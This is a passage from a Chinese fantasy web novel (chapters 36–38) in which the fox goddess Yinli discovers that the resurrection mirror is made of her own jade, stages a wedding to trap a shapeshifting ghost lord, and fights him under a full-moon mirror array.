“这铸造技术固然复杂,但我已继承师尊的全部衣钵,只要小心谨慎,我有七八分把握能够成功。 “唯一的问题,在于这个回光镜的铸造材料。” 玉生烟顿了一下,表情颇有些困惑。 “……公主可知,这滨海神玉是什么东西?” 她问。 “我修习玉匠之术的年头也不短了,经受的玉石没有上千,也有数百,但这滨海神玉,怎么从未听说过?” “——!” 银梨瞳孔一收。 玉生烟正说的时候,银梨也正好看到了材料这一段。 只见卷轴上写—— [滨海神玉,共有五色,品质以纯白为最佳,青色次之,其余三色再次。] 滨海神玉,旁人可能不知道是什么,但银梨却不能再清楚了。 因为,这正是她和青霜的本体。 * 夜深。 银梨在青霜所住的仙宫外徘徊半晌,犹豫该不该进去。 她看到回光镜的材料过于震惊,一时不知该对玉生烟作如何反应,只能先随意回应了她几句,让她继续在药庐中好好休养,自己则跑回了月宫。 过了很久,她都没能完全冷静下来。 滨海神玉。 她与青霜的本体材质本是东海之滨的一种上古神玉,据说在千年前就是十分罕见的灵玉,而随着时间的推移,愈发难以见到。 世上连知道这种玉存在的人都很少,因此外人虽然知道银梨和青霜是玉石雕成的白狐和青鹿,却基本没人能说出他们究竟是哪一种玉,至多只能讲到他们是月婵神女捡到的灵气充裕的白玉和青玉而已,正因如此,她和青霜也鲜少对他人提及。 然而银梨自己却清楚地知道,滨海神玉,这就是她与青霜本质玉石的名字。 得知这一内情后,许多事情,都在瞬息间串联了起来—— 难怪姐姐会将回光镜,还有回光镜的制作方法都隐藏起来。 回光镜和复生莲一样,只能使用一次,一旦用于复生,就会彻底碎裂,丧失所有灵气。 如果有人想要复生他人,又没有可用作复生莲媒介的材料,必定会考虑铸造回光镜。 滨海神玉世间难得,这是上古之玉,时代越是往后推移,就越是难得。 要是一直找不到材料,怎能保证不会有人将主意打到世上已知的神玉——她和青霜——头上? 姐姐此举,无疑是在保护他们兄妹。 甚至世上唯一存在过的那面回光镜后来不见了,可能也是这个缘故。 要么它是已经在什么情况下被使用,于是碎掉了;要么,就是姐姐害怕有人通过那面玉镜,发现它与银梨青霜兄妹的相似之处,主动将其藏匿或者销毁。 难怪怎么找也找不到。 难怪这么多年来,姐姐对那面玉镜绝口不提。 银梨心头巨震。 这样一来,就只剩下一个问题了—— 将她和青霜重新雕刻成回光镜,再用来复活姐姐,可不可行? 银梨还没想好要如何与青霜谈这个问题,正踌躇之际,忽然,有人从背后拍了她的肩膀。 银梨一惊,等回过头去,便发现是磬言。 ……说实话,磬言神出鬼没,她已经有些见怪不怪了。 银梨提起精神:“你怎么会在这里?” 磬言笑道:“这话应该是我问公主,今日本该轮到我随行了,可跑到清辉殿,却听闻公主去了药庐,等追到药庐,公主又已经离开。我找到了好久,才在这里见到公主。 “只是……公主为何晚上在青霜少君的住所外游荡,你们后天不就要成婚了吗?公主难不成,这个时辰,还有事要单独与他见面?” 磬言的话挑不出破绽,只是他脸上笑着,给人的感觉却并非如此。 空气沉甸甸的,夹着凉意。 磬言跟在后面,银梨不太方便再去找青霜,便说:“也没什么要紧事,只是凑巧散步到这里……天色已晚,我回去了。” 谁知,不等银梨走出几步,便听磬言在身后问:“药庐那位原形是穿山甲的修士,原来是宝月城玉匠的传人? “公主该不会……是在打探有关回光镜的消息吧?” 银梨步伐骤然停住。 她猛地转回头。 磬言去过药庐,他能从药庐那里得知玉生烟的来历不奇怪,但仅听一个来历,就联想到回光镜,未免有些惊悚了。 银梨试探地问:“你知道回光镜?” 磬言回答:“算知道一些吧。” 夜色中,磬言的面容被笼罩在重重树影之下,他眼角的泪痣与阴影融为一体,看不分明。 忽然,他上前一步,抬手蒙住了银梨的眼。 银梨一愣,本想避开,但奇异的,她没从这个动作感受到恶意。 磬言的手极为冰冷,他身上隐约有夜息香的味道。 磬言道:“别想了。” 银梨顿住:“你知道我在想什么?” 磬言道:“公主肯定想用回光镜复活月神,所以现在,恐怕正在想些不对的事。” “——!” 磬言这话,就像知道她方才正在考虑,要将自己制成回光镜一样。 银梨萌生出些许内心被窥破的不安,仓促躲开他的手。 磬言仍安静地注视着她。 “公主自己或许觉得无所谓,但我说过,比起世上其他,我更希望公主安然无恙。” 磬言的声音平静而缓慢,在夜色中,幽幽的。 他说:“天下之事,并无什么珍贵到需要公主拿自己去换。我希望公主,能更珍惜自己一些。” “……” 银梨被他望得慌乱,不知该如何作答。 她稳住心神,道:“……我并没有想什么事,先回去睡了。” “好。” 磬言颔首,照旧跟在她身后。 直到银梨回到清辉殿,他仍然静静地注视着她,并未离开。 * 银梨第二天一早,还是去找青霜谈了回光镜的事。 青霜的反应,并未超出银梨的预料。 他很惊讶,但也很果决。 如果能够复活姐姐,那么,为此牺牲,没什么可犹豫的。 世上可以没有他们两个,却绝不能没有姐姐。 只是,除此之外,还有一个问题。 按照玉生烟带来的卷轴上的记载,制作回光镜的玉石,有尺寸要求。 银梨和青霜的本体不小,但他们已经经过一次雕刻,他们剩下的部分,若单独用于制作回光镜,恐怕都不够大。 如果兄妹俩能合起来的话,倒勉强可以。 只是,他们两个颜色不同,本身又不是同一块玉石,回光镜本就对原料要求极高,这种东拼西凑的情况……能做得 出回光镜吗? 世上本就没有多少制成回光镜的经验,云舒师兄已经不在,没人能料准成功的概率。 最坏的情况,或许银梨和青霜都会在过程中丧命,但回光镜依旧制不成,更无法救回姐姐。 如此一想,便陷入了僵局。 另外,如果他们兄妹都被雕成玉镜,那么必然还需要第三个人来完成复活姐姐的最后一个步骤。 谢沉霄和云舒师兄都已丧命,银梨与青霜绝对能信任的人选,只剩下金琼师姐。 但金琼师姐却未必赞成他们二人献身来复活月神,此事还得与她好好商量。 一桩桩一件件,都不是一口气能完成的。 银梨与青霜探讨一日,却未能拿出一个足够满意的方案,只得同意此事等下回再议。 当务之急,是要解开银梨的鬼信物。 无论银梨是什么形态,那鬼信物都死死锁在她身上。 若不解开鬼信物,银梨大概也没法用自己的本体来铸镜。 这是目前急需解决的最大问题,若不去掉鬼信物,其余都是空谈。 云舒师兄给的锁念草只有一个月的期限,最终之日,迫在眉睫。 其余一切,都得等到大婚结束再谈。 此时,距离二月十五的大婚之期,只剩下一日。 ………… …… 一夜过去。 明月历一千零五年,二月十五,当日。 银月城许久没有那么热闹了,街头巷尾的灯饰几如繁星,摊贩叫嚷不绝。百年里难得的喜事,让世人暂且忘却了世事艰辛,只在今日,尽情欢庆。 月宫之内,更是装潢一新。 大红灯笼从小灵山山门一路蜿蜒而上,直通宫殿,挂满整个宫宇,像一串祝福的山火,映得青石板路一片喜气。 满宫弟子行色匆匆,在月宫各处挂上红绸与喜字。 吉时将至。 银梨一身大婚礼服,凤冠霞帔,流苏缀在眼前遮挡了半面。 她坐在屋中,长袖垂落,等青霜过来找她。 仙神的婚仪与凡间略有不同,且银梨与青霜又是兄妹相称,本就住在一个家里,便没了传统的接亲仪式,只做个样子而已。 然而,等了半天,青霜也未到场。 君竹有些急了,道:“少君怎么还没过来?不会都还没回银月城吧?公主您也是,昨天与青霜少君说了什么,为何他大婚前一天,大晚上的突然跑到城外去了?” 银梨淡定自若,回答:“不用担心,只是我让他去城外帮我取点东西罢了。青霜一贯守时,他肯定很快就会回来的。” “还有磬言,一转头也不知跑哪儿去了……” 君竹一贯容易焦虑,即使银梨说没事,但眼看着时辰都要过了,她便冷静不下来。 她忍不住道:“公主,你在这里坐着,我出去找……” 君竹话音未落,便有一人推开房门,缓步跨进屋来。 “少君!” 君竹高兴地道。 银梨顺势看去,只见来人礼冠高束,绛红公制盛装,深衣束带,一身清风峻节的气质,比平日更风度翩翩。 是“青霜”。 “他”微笑着,径自走到银梨面前,道:“银梨,我来了。可有久等?” 眼前之人深情如水,那含情脉脉的眼眸,比之平时,柔意更甚。 青霜天生的鹿眼,看世间万物皆温情无比。 但今日,他这双眼眸,不知该如何描述,似乎深情太过,反而黑洞洞的,让人探不清其中幽意。 “……未曾。” 银梨凝视着这双不太像青霜的眼睛,并未迟疑,径自将手放到了对方的掌心里。 “你回来了……走吧,‘哥哥’,我们去成亲。” 第36章 黄昏末时, 暮色渐浓。 落日沉至山色之下,一轮满月自东边升起。 盈月佳期,恰逢吉时。 银梨执着“青霜”的手, 一步步走向正殿。 错落的红绸挂满月宫连廊, 高悬的朱红灯笼在石板路两岸拂开夜色。 月宫许久不曾如此喜庆华美。 大殿前已摆上了庄重的神龛, 一尊神女像被摆放在神龛上,桌前奉着神女曾经爱吃的糕点水果。 那神女像栩栩如生,与世上的大多数神女像一般,她怀中抱着石狐, 脚边卧着石鹿。 而此时, 生着与那石头狐狸、石头灵鹿本尊相同相貌的一对男女, 身着华服,站在月下,立于神龛之前。 “一拜天月。” 银梨与身边的青年一起, 向天上的明月鞠躬。 “二拜高堂。” 二人回身,对着神龛上的神女鞠躬。 “夫妻对拜。” 银梨又转过身, 与身边的青年面对面。 她将双手交叠在身前, 礼貌地与对方互相鞠躬。 她的表情全程没什么表情,端重礼貌,没有不得体之处,可与身边人始终夹着两三分疏离, 不见多少新婚的羞赧甜蜜。 新郎倒是眉眼柔情, 嘴角始终含着温润的笑意, 一举一动体贴至极, 步步是耐心的等候与牵引。 最后,金琼师姐宣布道:“天月为证,神女赐福。” 若是姐姐还在, 这个步骤姐姐定会亲自主持,但如今,月宫中能为两人祝福的,就只有金琼师姐了。 金琼垂眸,用梨树树枝将灵水抹在两人眉心。 她道:“礼成,送入洞房。” 前来观礼的月宫弟子们纷纷道贺。 “青霜”很自然地牵起银梨的手,与她一同往布置好的仙殿走去。 两人作为新房的仙殿,就在清辉殿旁,花园敞亮,可观明月皎然。 跟在两人身后的月宫弟子们,只跟到仙殿外,便默契地不跟了。 连一直守在两人身边的君竹都提灯离去。 园门一关,周遭骤然清冷。 银梨知道,很快月宫中就不会剩下什么人了。 她是有意将所有人都遣走。 今日银月城中会有庆典,所以银梨提前给月宫弟子都放了假,观完礼后没事,众人想必都会离开月宫,去银月城中热闹热闹。 没什么人起疑,众人只当银梨人多会不自在,皆配合得离开,将月宫留给新人。 所以,偌大的院落,只剩下她与“青霜”。 这样更好,方便她行事。 银梨十分镇定,安静地坐在床上。 桌上摆着两个小酒盏和一壶清酒。 银梨主动问他:“喝合卺酒吗?” “青霜”只看了一眼,笑了笑,便将酒盏和酒壶都推远了些,道:“不用了吧,你一向不喜欢酒味,不过是合卺酒罢了,不必勉强。” 银梨闻言,不由侧目。 “青霜”坦坦荡荡地面对她探究的眼神,笑问:“怎么了?” 银梨道:“你知道得真多。” “青霜”笑眼弯弯:“我是与你一起长大的兄长,我们还是两块未经雕刻的玉石时就已认识彼此,我熟悉你的喜好,理应如此,不是吗?” “……” 银梨没有接这个话,只说:“我们的婚事最重要的目的,是解开我身上的鬼信物,要是少了仪式上的步骤,不太好吧?” “青霜”一顿,却笑道:“银梨,你应该知道,解开鬼信物的关键,并不在合卺酒。” “——!” 眼前的“青霜”其实没有说更多的话,但银梨听到这句话,却觉得背后的寒毛骤然竖了起来。 突然间,她就想起来藏书库失窃的那一大堆书。 当初的月东林邪鬼不懂的东西,眼前的“青霜”却未必不懂。 最关键是,这位“青霜”凝望她时,眼底真是浓到化不开的纵容和爱意,避无可避。 银梨知道她应该表现得从容些,她其实对这种境遇早有预料,更有防范,只是后背却不听她的使唤,自顾自绷得极紧。 只是,出乎意料的,眼前人好像看出了她的警惕,并未步步紧逼,反而主动后退了几步。 “青霜”遥遥望着她,轻轻地道:“不要紧张,我不会做让你害怕的事。” 银梨:“……” 说着,“青霜”像践行他的话一般,一路退到窗边。 他往外望去,隔着贴有“囍”字的窗牖,自言自语般地道:“雪堆起来了。” 最近天气一直差得异常。 二月中旬的天,照理早该有春意了,但从银梨和青霜定下婚约期,银月城便是一场接一场的大雪,天每日都阴得像永夜逼近。 即使今日是银梨与青霜的大婚,依旧如此。 若非今天是满月,太阴星力量最强之日,只怕也未必能见到晴天。 银梨却谨慎地应对这个话题,道:“嗯,最近雪下得很多。” “青霜”怀念地弯了下眼,说:“小时候,你喜欢在雪地里用狐身推雪球呢,鼻子上顶得全是雪。” 银梨听到这里是真的有些吃惊了:“……你连这都记得?” “为何会不记得?” “青霜”直接地望过来,眼神温柔地定在她身上。 “关于你的事,我都不会忘。” “——!” “青霜”的目光过于了当,银梨当真有了招架不住之感,绷紧了十二分精神。 这时,“青霜”主动问她:“银梨,既然我们已是夫妻,有个问题,我可以问你吗?” “……你问。” “谢沉霄,云舒,还有我。” “青霜”报出了三个名字。 他问:“在我们三个人中,有没有人,是你真心喜欢过的?” “……什么?” 银梨没想到这个“青霜”会问她这样的问题,猝不及防。 但她见对方好像认真想要知道答案,隐隐觉得或许是个分散他注意的机会,一顿,便考虑起来。 银梨道:“其实,我不太确定。” “不确定?” “你说的三个人,我都有欣赏与喜欢的地方。只是,又由于种种原因,并未进展到真正的男女之情。” 银梨回答。 “所以,你要说喜欢,我应该都不讨厌。但你要说爱情,好像都并未到那个份上。” 青霜一动不动地注视着她,似乎在等她解释为何并未到那个份上。 银梨想了想,便也答道:“谢仙君这个人,你知道,我与他相识最早,一同经历的事不少,而且,他还救过我。 “我不否认,我对他有过懵懂的好感。 “不过,后面的事如你所知,我与他相识的时机不对,性格想法也并不同步,错过再所难免。” 停顿了一下,银梨继续往下说。 “至于云舒师兄,我与他有细水长流的师兄妹情谊。” “他视力不好,离群索居,人人都说他拥有神眼、无所不知,我偏偏却觉得很难放下他不管。” “他的性格气质有吸引我的特质,除此之外……嗯……” 后面的话,银梨卡壳了一下,不知当讲不当讲。 “青霜”显然不会轻易放过细节,追问:“还有什么?” 银梨话都到嘴边了,也只好道:“其实,就个人审美来说,我有点偏好云舒师兄的长相。” 银梨从未想过还会讨论到这个细节,她从未与人说过此事,纵然在紧张的氛围下,仍不免有一丝窘迫。 而“青霜”似乎也是第一次听说这回事,微微露出恍然大悟的神情,接着,又若有所思。 不过,银梨也道:“但云舒师兄能预知未来,也笃信命数。他一直是命运的旁观者,不愿参与其中,早在他看到我的天命时,我们便不会有结果。即使命数可以改变,他也未必会去尝试,这就是有缘无分。” “青霜”闻言,点了点头。 终于,到了最后一人。 “青霜”问:“那……你对‘我’呢?” 银梨沉吟,说:“哥哥你与我素来默契,我以为我对你的想法,你应该很清楚才是。” “青霜”道:“我自有想法,只是,若不与你对过,我不确定与你想的是不是一致。” 银梨只好道:“我喜欢与兄长之间心有灵犀的关系,在这世上大抵再没有一个人能做到与我如此信任投契,只可惜,你我之间从未有过男女之情,只是单纯的兄妹而已。而且……” 银梨话说一半,便停了下来。 “青霜”不由问:“而且什么?” 银梨站起来,走到放着合卺酒的小桌边,轻声道:“哥哥你靠过来些,我要小声一点说。” “青霜”没想到这种情况下,银梨还会愿意接近他,迟疑一瞬,才慢慢走过去。 银梨说:“再凑近一点。” “青霜”弯下腰,将耳朵凑向银梨。 说时迟那时快。 银梨踮起脚来,一把抱住眼前这位“青霜”的脖子,几乎整个人扑到他怀里。 “青霜”瞳眸骤然睁大,银梨突如其来的亲密动作显然超出了他的预期。 但不等他反应过来,银梨矫健地转了个圈,反手一推,将“青霜”推到床上,她自己则敏捷地倾身上压,将膝盖用力顶在对方的腹部—— “青霜”只觉得天地颠倒,银梨压在他上方,她的面容咫尺之遥,紧接着,脖子上便是一凉—— 银梨掏出了久藏袖中的匕首,毫不犹豫出鞘。 与其同时,布置在屋内的阵法顷刻间被启动,整间婚房内隐藏的天窗和镜子从四面八方掀起打开! 满月正巧升到最高空,皎洁的月华如瀑布般倾泻而入! 这是太阴星天然力量最强的一天,满月当空,又是太阴星最强盛的一刻。 真正的青霜前一日假装离开了银月城,实则一直藏身在清辉殿中,此刻,他正在全力驱动太阴星,以配合银梨的狩猎。 布置了整整一个月的镜子阵法,在此刻,将所有月光都集中到了阵法的最中心——也就是银梨引导、压制猎物的床铺上。 不需要见面,不需要沟通,但兄妹俩的配合,可谓天衣无缝。 银梨俯视着下方这张属于自己兄长的面庞,冷静地说完了之前的话:“而且,你也不是青霜。还要装模作样吗,磬言?或者说……鬼君?” 枕上,这个“青霜”浅浅地笑了。 然后,在银梨眼前,他的面容,像污泥一样融化。 第37章 这无疑是一种特殊的术法。 银梨亲眼目睹着, 本应属于自己兄长青霜的那张清风皓月的君子面容逐渐模糊、溶解,化成一团蛄蛹的黑泥,再慢慢重塑, 须臾之间, 便凝成了磬言的长相。 清秀白净的少年相貌, 眉眼温润,连眼角那颗泪痣都一模一样,透着不起眼的、纯净无害的气息。 但接着,这张少年的相貌也变成黑泥蛄蛹起来, 下巴收窄, 眼眸拉长, 等再一次清晰的时候,五官变得华美无比,有着花火般的气质。 正是那一场鬼梦中的“小宴”。 他自如地摆弄着自己的相貌, 显然,在这个世上, 他想要化成什么样的样子, 都可以。 “原来公主早就认出我了,好高兴。” 耳边传来的声音,起先是磬言,但到最后半句, 又像小宴。 都是少年的嗓音, 都温柔至极, 可在这种处境中, 透着难以言喻的疯狂。 ——怀疑磬言,早不是一日两日了。 别扭的迹象处处都是。 银梨身边从没有过男弟子,独独磬言是个例外。 没有人说得出磬言的身份来历或者他何时、为何来到银梨身边的, 偏偏所有人都默认了他的存在,并认为他早已陪伴在银梨什么多年。 金琼师姐与银梨这般亲近,却全然不认识磬言,只熟悉君竹。 这样的情况,其实与当初月东林鬼梦中的那个“宴清”,如出一辙。 只是这一次,“他”挑选了一个更隐蔽的身份,将自己藏匿在不起眼的、让人习以为常的微小角色的皮囊里,还将自己与君竹捆绑,借与君竹的搭档关系来加强伪装。 真正产生怀疑,是在荒林邪鬼那时。 磬言出现的时机太过古怪,几乎与月东林邪鬼现身重合,他找来荒林救人的理由并不十分充分,还莫名其妙找到了一个如此完备的庇护所。 只是那一次,他是为了救银梨去的。 不出意外的话,磬言应当有窥探他人内心想法、改变外界认知的能力,就像当初在鬼梦中一样。 这种能力太适合神不知鬼不觉地深入别人的生活,以至于月宫众人轻易就接纳了磬言的存在,即使银梨偶尔会有模糊的不自然感,也不敢马上肯定他有问题,害怕错怪好人。 银梨不是没有试着在心中给磬言找过理由和借口,可云舒师兄设计的计策,彻底确定了他有问题。 在得知云舒师兄锦囊中的预言后,小女孩和穿山甲就醒了过来。 第一个锦囊中的内容,总共只有君竹和磬言知晓,君竹那晚负责巡逻和守夜,许多人都见过她,银梨也知她就在清辉殿外没有离开过。 能做到那些事的,唯有磬言一人。 仔细想想,“磬言”这个名字倒过来念,不就与“宴清”十分相似吗? 此时,在太阴星镜子阵法的最中心,“磬言”被她压在身下,但即使如此,“他”看上去也不怎么害怕,嘴角始终噙着轻松的笑意。 这一个月来,银梨服用锁念草,防范磬言窥探她的内心,同时用婚事布局,引诱“他”上钩。 “磬言”果真上当。 青霜离城未归,“他”便化身为“青霜”的样子,来与银梨成婚。 要是青霜没有借故提前藏起来,银梨猜测,“他”大概会像对付谢沉霄和云舒师兄那样,直接让他们消失,然后自己取而代之。 银梨懒得与“他”说什么为谢沉霄和云舒师兄偿命之类的废话,这种时候废话越多,越容易出错错过时机。 她直接将匕首的银刃压在“磬言”的喉口,逼迫“他”仰面,将自己暴露在月光之下。 太阴星之力本就处在巅峰,由经由数面镜子的集中,如此月光若是照在邪物身上,至少九成邪物都会在刹那间灰飞烟灭,即使是荒林邪鬼那样拥有鬼君实力的巨大鬼怪,也会被废掉大半。 然而,“磬言”竟连眉头都没有皱,仍旧微笑着温柔望着银梨。 “他”此刻是小宴的脸,这张面容大抵也是捏塑出来的,精致俊美远超常人,如此容颜浸沐在月光之下,反而有了几分通透的美感。 银梨心中一沉,但居然不算太意外。 在荒林的时候,银梨就用自己的神力试探过磬言。 结果他不但没有显出不适,身上的伤口反而愈合了。 普通鬼怪抵抗得住银梨与太阴星同源的神力,也绝无可能在这种状态下愈合伤势。 那时,银梨就有预感,磬言很有可能不怕月光。 不仅如此,他一直无视屏障生活在银月城中,甚至能进入非仙神不能涉足的月宫。 就算能杀掉荒林邪鬼的真鬼君强到什么程度也不奇怪,这也太超出常理了。 ……他究竟是什么东西? 银梨眉头紧锁。 好在,银梨布置的这个阵法,还有第二重准备。 她见太阴星之力对磬言无用,也不执着于将他困在床上,匕首灵巧地一转,向磬言的脖子扎去。 磬言转头躲开,反手去捉银梨的手腕—— 两人都很敏捷,你来我往交手数次,谁都没有占到便宜。 银梨手持利刃,本应有些优势,但磬言可以虚化实体,消解了这部分劣势,频频让她的攻击落空。 幸好,银梨本来就没有寄希望于用兵刃解决磬言这样的邪鬼。 来回几下,她见刺不到要害,便反身一滚,不再与他近战纠缠,反而拉开距离,顶替磬言的位置,自己置身月光最盛之地。 这个阵法,可以笼罩磬言,就可以笼罩银梨。 阵法里的月光,是世上邪鬼的催命符,却是银梨的催化甘霖。 皎洁的月光洒落在银梨身上,她像周身浮着一层轻盈的华光。 长夜降临以来,银梨的仙力一直受到压制,难以发挥全力。 但今夜,她将所向披靡。 银梨匕首一动,划开了自己的手! 以神血祭月! 这是在荒林时就险些被用出来的最后手段,在今夜,终于不必再有所束缚。 对付鬼君,决不能有任何保留! 神血从掌心滴落,在月光下,银梨浑身灵气都剧烈地涌动起来—— 浑身仙神气息在顷刻间暴涨! 银梨身后的九条狐尾以惊人的速度膨胀生长,一眨眼就长大了她人身的三四倍高,明月在她头顶,九条狐尾也像一轮更大的满月,将她整个人包裹、环绕在其中。 任何目睹此景的人,都很难忘怀这个景象。 银梨一直被奉为上神,但世人皆知,她是很年少的神女,尚需修行,不能与真正的上古神祇相较。 然而,在这一刻,即使说她就是神女月婵本人,也不会有人产生丝毫质疑。 压制般的气魄,不要说凡人,即使是天上仙神立在此处,在这样的气势面前,也只能倾倒拜服。 ——燃烧神血。 这是以透支自身为代价,将潜力在短时间内全部激发出来的神术。 银梨是需要成长、拥有生长周期、需要后天修炼的神女,与姐姐那样生来就是成人、力量强大的上古天神不同。 但她受到姐姐仙力的育化,拥有的是与姐姐相似的神血。 理论上来说,经历千年万年的修炼以后,她是有可能达到鼎盛状态,成为和姐姐一般的大神女的。 正常来说,这个过程过于漫长,而且充满不确定性,人间的局面,已经无法给她这么充裕的时间了。 不过,只要付出代价,她就短暂地爆发出潜能,用这份力量,来对抗鬼君。 银梨毫不犹豫地抬手捏诀—— 如此动用神力无异于揠苗助长,若是使用过度,是真有可能致命的。 银梨如今想用自己来铸造回光镜,十分惜命,绝不能死。 所以,必须速战速决。 月光在银梨的催化下,化作剑雨,倾盆而下,向磬言砸去! 一时间,天地被凛然月剑覆盖,视之目眩。 磬言面露惊讶。 但他非但没有慌张,反而弯起眼眸,更温柔地笑了。 他没有说话,只是一动不动地望着银梨,然后,他和银梨一样的动作,用手指在掌心缓缓划过—— 他的鬼气像匕首一样,划开了掌心,黑色的血滴落下来。 磬言周身的黑气突然涌动,下一刻,他身后竟也生出与银梨一模一样的九条狐尾来! 那九尾黑烟缭绕,包裹着磬言。 若说银梨被九尾环绕的样子,是无暇的满月,那磬言如此面貌,便是被邪气浸染的月食之相。 磬言抬手一划,借由这番力量在空中建出屏障,挡住了密密麻麻的剑雨。 他还望着银梨,轻柔镇定。 银梨大骇! 她在脑子预测过无数情况,但绝没想过会出这般变故! 磬言身后的狐尾已经不是与她相似,而且完全相同、镜像对称,挑不出一丝一毫的区别来! ——什么意思?!他也是狐狸吗?! 可银梨此刻的神力来自于燃烧神血,磬言的又是来自哪里?! 这时,只听磬言举起自己割开的手看了一眼,道:“血燃烧得好快……你不该这样消耗自己,要很久才能恢复。” 银梨头皮发麻。 在电光石火之间,她好像明白了什么。 难怪谢沉霄失踪以后,磬言的剑术日进千里。 难怪云舒师兄说,第一个鬼君,会成为真正鬼君的养料。 难怪那个荒林邪鬼本体就是头发,但它的死法,竟 像是被同样的头发戳死的。 荒林邪鬼能够吞噬,他吞下去的所有生灵,都会化作他躯体的一部分,这让他越来越强大,暗藏在地底饕鬄多年后,他成了其他邪鬼难以企及的怪物。 然而月东林邪鬼的能力,竟是镜像。 他根本不需要积累,只是一味地遇强则强。 他并不是攻心的鬼怪,那种探究人心的能力,或许仅仅是镜像衍生出来的一部分。 他不但能映照他人的力量、术法,还能映照出内心。 如此狡猾,简直没有弱点。 像这样恐怖的东西,要如何才能击破? 银梨强行按捺着内心的恐惧,逼迫自己打起精神。 她没有理会磬言的劝告,不断尝试着攻击对方,月光剑从各个角度挥下,密不透风,试图寻找他的破绽。 磬言安静地站在原地,将她的攻势一一化解。 两人斗法十分激烈,战况焦灼。 “……放弃吧,我们太像了。” 磬言温和地说。 “即使这样纠缠下去,只会两败俱伤,而不是分出胜负。” 银梨没有接话。 她内心焦灼,不知道磬言能维持这个状态到什么时候,听磬言的话,这个术法对他的消耗应该也很大,可银梨不清楚他能持续的时间是否能比自己长。 最坏的情况,她耗尽神血也耗不过磬言。 此刻,她就能感到自己在一点一滴变得虚弱,再这样下去,拖得越久,对她越不利。 银梨逼迫自己集中精神,去寻找一个能一击制胜的契机。 突然间,她看到磬言的胳膊操控术法时,有个很不标准的弧度。 那只是一个很不起眼的异样,轻易就能忽视,但银梨却莫名在意。 磬言如此细心的人,不像会有这样的错误。 她在心中模拟着那个动作,细细揣测着其中蕴含的意义。 突然间,灵光一闪! 银梨有些明白了。 磬言看上去与她完全一样,但实际上,他终究不是真正的九尾狐。 银梨对自身灵气的掌控,是在天水境时,一点点接纳自己的各种形态,一点点适应,最终磨砺出来的。 可磬言没有过这样的过程,他需要适应的是全新的身体,就像尚未拜师观真神女的银梨一样,他习以为常的观念会限制对灵气的使用。 所以,磬言一直在学。 他在模仿她的动作,学习她操控灵气的方式,一举一动细细地模仿她。 银梨的身体一直在消耗,所以她方才那个动作做得有点吃力,胳膊的高度与正常有偏差,其实是有些失手了。 磬言不知道她是累了的缘故,将这样细小的失误,也一并学了过去。 银梨知道该怎么做了。 一转念,她进一步催发了自己的神力,气息再度暴涨,攻势变猛,动作突然大开大合了起来! 锁念草的效力还在,磬言应该窥探不到她内心的想法,只要她对自己的心念有效控制,说不定还能误导他。 银梨作出时间不够,开始急躁的姿态。 磬言对她的变化有些意外,但由于攻势变强,他也需要尽力应对,立即作出了相应的反应! 他没有发现异常。 大抵是银梨转变攻势的行为在磬言看来像病急乱投医,磬言表现得游刃有余,他开始与她说话—— “其实,你不需要杀我,这样过度消耗自己毫无意义。” 银梨没有理他。 磬言又说:“我对你没有恶意,即使放着那个鬼信物不管,我也不会伤害你。” 鬼怪之言,绝不可信,银梨充耳不闻,只当是话术。 磬言道:“也许你当真杀了我,以后才会后悔。” 银梨仍旧不搭理。 这一瞬息,她找到了时机! 磬言要通过模仿她的动作,才能运转九尾带来的力量。 她方才的一串行为,看似猛攻,实则漏洞百出,毫无章法。 磬言一直在观察她的举动,纵然不是全然照抄,但在银梨的有意误导下,他在不知不觉间,有破绽的地方越来越多。 慢慢地,他落在银梨眼中,就像一个处处可打的靶子。 机会只在转瞬之间! 银梨毫无征兆地动作一转,突然,先前还散乱的月光剑全都凝在一处,化作一把笔直悬在磬言头顶的长锥! 同一时刻,银梨手势一掐,磬言身上突然冒出无数的狐狸毛,密密麻麻地将他捆了个扎实! 这是早已布置好的陷阱。 银梨先前送给他的毛领,是银梨的狐毛所制,只要碰过就一定会有气息留在他身上,现在终于找到了最佳束缚时机,受到如此约束,绝无可能挣脱! 其实看到狐毛缠绕的密度,银梨不由有些意外。 他是真把那个毛领一直放在身上,才能留下如此多的气息。 不过,现在是容不得有任何迟疑的局面。 成败在此一举! 长锥就在磬言正上方,凝满仙力,一旦落下,避无可避。 银梨有十足的决心,这一回,一定要他死。 磬言被如此五花大绑,他试着动了动,发现不可能再逃脱后,不再动了,好像放弃了挣扎。 他微微笑起来,说:“你不该杀我。” 银梨充耳不闻。 她不敢有一丝放松,也不相信月东林邪鬼能说出什么有说服力的话来迷惑她,挥袖就要斩杀—— 长锥笔直落下—— 这时,磬言道:“我的真身,是回光镜。” 那月光凝成的利锥,在距离他只剩下最后半寸的位置,骤然停下! 第38章 回光镜! 竟然是回光镜! 银梨知道自己不该在最后关头有犹豫, 但这三个字对她吸引力太大,她的手克制不住地抖了起来。 银梨凭着最后的意志抵抗磬言的话:“我不信!” 磬言安然不迫:“你若不信,我可以给你证明。” 他眼神一动, 眉心前就浮现出一个虚浮的幻影, 一面玉镜就悬在幻影之中。 那是一面巴掌大的小镜子, 白玉之质,明明是玉镜,正面却通透照人,犹如铜镜一般, 反面好像也有纹样, 但角度看不清楚。 而在镜面一周, 正是上古月相朔望图。 与金琼师姐转述的回光镜的描述,完全一致。 银梨其实不敢全信,她在鬼梦中亲眼见过这邪鬼把根本不存在的东西用幻象展示出来的能力。 金琼师姐对她说的时候, 她还没有吃下锁念草,难保这邪鬼不是什么时候读过她的心, 再凭此制造幻象欺骗她。 银梨道:“只是一个虚影, 说明不了什么。” 磬言笑言:“那你仔细想想,你真的不信吗?” 银梨拼命告诫自己鬼怪之言不可信,可思维却不受控制地奔涌而去。 磬言如果是回光镜,那就能解释很多事。 相传, 回光镜可以映照魂灵, 洞晓人心。 月东林邪鬼目前表现出来的能力, 不都与这异曲同工吗? 此外, 回光镜是旷古之神器。 荒林的那个邪鬼,原形仅仅是龙神的一根发丝,在长夜中被邪意浸染百年, 就能拥有那般实力,足以被奉为“鬼君”。 回光镜拥有的神力,绝对远在它之上。 回光镜的材料是滨海神玉,与银梨、青霜是一模一样的材质。 银梨想起磬言在梨花林时,曾经对她说过,他想要有一个银梨这样的妹妹。 如今看来,此话竟并非全是妄论。 某种意义上,回光镜与银梨青霜兄妹,是同源之物。 同样是滨海神玉,同样被神女月婵取得,也有她安排,经同一个玉匠的手铸造。 或许在很久远的过去,回光镜同样受过太阴星的润泽,同样陪伴在姐姐身边。 银梨记得,金琼师姐就曾说过,师尊亲眼见过月婵神女佩戴回光镜。 它曾被姐姐佩戴在身上,沐浴着与银梨青霜相同的神力。 这就解释了磬言为何不惧怕月光,为何能自由出入银月城和月宫。 